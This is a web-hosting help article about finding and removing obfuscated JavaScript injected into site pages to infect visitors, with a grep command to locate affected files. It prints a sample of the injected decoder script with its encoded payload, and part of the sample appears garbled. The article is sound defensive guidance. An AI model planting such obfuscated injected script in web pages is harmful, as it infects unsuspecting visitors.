Bluehost Web Hosting Help

My website attempts to infect visitors with a virus

Problem:

Your website attempts to infect visitors with a virus. You search your server and cannot find any viruses executables to account for it.

Solution:

Check last few lines of web page for obfuscated javascript code, as in the following example:
    <script language=JavaScript>
    function dc(x){
    var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,
    19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);
    for(j=Math.ceil(l/b);j>0;j--){
    r='';
    for(i=Math.min(l,b);i>0;i--,l--){
    w|=(t[x.charCodeAt(p++)-48])<>=8;s-=2}
    else{s=6}}
    document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmO
    At7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")
    </script>
Remove the offending lines as you find them on any pages.

With SSH command line access, you can find additional infected pages with a command similar to the following:

    grep -r "function dc(x)" . | awk -F: '{print $1}'
Knowledgebase Article 90,816 views bookmark tags: virus (updated 2027 days ago)


Was this resource helpful?

Did this resolve your issue?


Please add any other comments or suggestions about this content:





Recommended Help Content

Virus Scanning (Drive-by Downloads)

This article will explain the benefits of SiteLock in regards to virus scanning. (updated 2 days ago)

Site Not First in Search Engine Results

Why is my site not the first result on Google or an other search engine? (updated 1347 days ago)

Entropy will not search .php files

Why will Entropy not search any php file? (updated 2007 days ago)

Related Help Content

VPS or Dedicated Hosting - Install ClamAV

How to install ClamAV to help with virus protection. (updated 396 days ago)

Entropy Search will not finish building the index for my site.

I am trying to rebuild my index for Entropy Search and it stops before 100%. (updated 2027 days ago)

Search Engine Placement

How does Search Engine Placement work? (updated 2025 days ago)

How to find your WordPress Database

This article explains how to find the database in use by a Wordpress site. (updated 11 days ago)

Moving website contents to Bluehost

I need to transfer my website from my old host to Bluehost, but I do not know how to do it without losing files or mail. (updated 359 days ago)

My Website Is Slow

The website is taking a long time to load. It just seems slower today than normal. (updated 423 days ago)

Clients in China Are Unable to View My Website

Clients in China are unable to view my website. My website's content doesn't contain any objectionable material. (updated 1991 days ago)

Seach Engines do not include my domain

Why doesn't my domain name show up in search engines? (updated 2006 days ago)